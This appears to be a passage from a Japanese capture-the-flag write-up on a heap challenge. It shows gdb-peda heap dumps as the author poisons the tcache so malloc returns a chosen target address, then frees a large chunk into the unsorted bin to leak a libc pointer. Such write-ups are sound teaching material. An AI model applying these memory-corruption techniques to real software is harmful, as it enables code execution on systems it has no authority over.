last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x20) tcache_entry[0](1): 0x603280 --> 0x604042 (overlap chunk with 0x603270(freed) )
tcache_entry --> 0x603280 --> 0x604042
この状態で,2回mallocしたら,ターゲットである 0x604042 にヒープが作られる。
add(3.16)
RAX: 0x603280 --> 0x604042 --> 0x0
gdb-peda$ x/16xg 0x603260
0x603260: 0x4141414141414141 0x4141414141414141
0x603270: 0x4141414141414141 0x4141414141414141
0x603280: 0x0000000000604042 0x0000000000000000
0x603290: 0x0000000000000000 0x0000000000000021
0x6032a0: 0x0000000000000000 0x0000000000000000
0x6032b0: 0x0000000000000000 0x0000000000020d51
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x6032b0 (size : 0x20d50)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x20) tcache_entry[0](0): 0x604042
add(4.16)
RAX: 0x604042 --> 0x0
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x6032b0 (size : 0x20d50)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x20) tcache_entry[0](255): 0
unsortbinにつなげる
add(0.16)
add(1.1040)
add(2.16)
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x6036b0 (size : 0x20950)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
del(1)
gdb-peda$ x/16xg 0x603260
0x603260: 0x0000000000000000 0x0000000000000000
0x603270: 0x0000000000000000 0x0000000000000421
0x603280: 0x00007ffff7dcdca0 0x00007ffff7dcdca0
0x603290: 0x0000000000000000 0x0000000000000000
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x6036b0 (size : 0x20950)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x603270 (size : 0x420)
unsortbinにつながるのは 0x603280 と思ってたけど 0x603270 になってる。
変だな?
作問者writeup
ここから問題のバイナリをダウンロードできます。